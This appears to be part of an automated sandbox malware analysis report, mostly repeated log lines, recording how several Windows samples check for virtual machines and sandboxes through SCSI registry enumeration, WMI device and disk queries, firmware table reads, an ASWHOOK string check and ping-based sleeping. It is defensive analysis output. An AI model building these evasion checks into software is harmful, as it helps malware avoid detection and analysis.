Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\987123.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\987123.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\987123.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\987123.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\987123.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\987123.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\ufhjbuw	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\5390.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Size FROM Win32_LogicalDisk WHERE DriveType = 3

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ufhjbuw, 00000003.00000002.1987883252.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, ufhjbuw, 00000022.00000002.2579041639.0000000000727000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost
